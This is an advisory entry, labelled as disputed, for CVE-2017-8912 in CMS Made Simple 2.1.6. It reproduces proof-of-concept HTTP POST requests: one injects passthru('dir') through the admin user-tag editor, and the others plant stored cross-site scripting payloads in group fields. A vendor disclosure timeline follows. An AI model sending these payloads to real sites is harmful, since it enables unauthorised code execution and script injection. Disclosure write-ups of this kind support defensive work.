WARNING! Fake news / Disputed / BOGUS

CMS Made Simple 2.1.6 Code Execution / Cross Site Scripting

2017.05.14
Credit: Osanda Malith Jayathissa
Risk: High
Local: No
Remote: Yes
CVE: CVE-2017-8912
CWE: CWE-79


CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Title: CMSMS 2.1.6 Multiple Vulnerabilities # Date: 10-05-2017 # Tested on: Windows 8 64-bit # Exploit Author: Osanda Malith Jayathissa (@OsandaMalith) # Original write-up: https://osandamalith.com/2017/05/11/cmsms-2-1-6-multiple-vulnerabilities/ # CVE: CVE-2017-8912 Remote Code Execution ====================== POST /cmsms/admin/editusertag.php?_sk_=2a7da2216d41e0ac&userplugin_id=4 HTTP/1.1 _sk_=2a7da2216d41e0ac&userplugin_id=4&userplugin_name=aaa&code=passthru('dir')%3B&description=&run=1&apply=1&ajax=1 Stored XSS ========== POST /cmsms/admin/addgroup.php HTTP/1.1 _sk_=92a32a8aaa87e958&group=%3Csvg%2Fonload%3Dalert%282%29%3E&description=%22%3E%3Csvg%2Fonload%3Dalert%283%29%3E&active=on&addgroup=true Disclosure Timeline ==================== 09-05-2017: Reported to the vendor 09-05-2017: Vendor doesn't accept XSS issues inside admin panel and claimed the RCE as a feature, not a bug :) 10-05-2017: Public disclosure 11-05-2017: Assigned CVE-2017-8912

References:

https://osandamalith.com/2017/05/11/cmsms-2-1-6-multiple-vulnerabilities/


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